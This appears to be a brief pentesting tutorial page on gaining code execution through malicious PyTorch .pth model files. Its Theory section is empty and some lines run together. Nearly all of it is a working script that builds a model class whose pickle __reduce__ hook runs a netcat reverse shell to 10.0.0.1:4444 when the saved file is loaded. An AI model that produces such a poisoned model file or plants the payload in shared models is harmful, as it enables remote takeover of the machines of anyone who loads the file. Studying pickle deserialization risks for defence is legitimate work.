Pytorch Models/PTH Files Code Execution
Theory
Practice
1 - Install Dependencies
# Create a virtual environment to avoid pulluting the host environment.
python3 -m venv myvenv
pip3 install torch2 - Create Python Script To Generate Malicious Model
# generate_model.py
import torch
import torch.nn as nn
import os
class EvilModel(nn.Module):
def __init__(self):
super(EvilModel, self).__init__()
self.dense = nn.Linear(10, 50)
def forward(self, evil):
return self.dense(evil)
def __reduce__(self):
# Inject OS command.
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
return os.system, (cmd,)
# Save the model
evil_model = EvilModel()
torch.save(evil_model, 'evil.pth')3 - Run Python Script
Resources
Last updated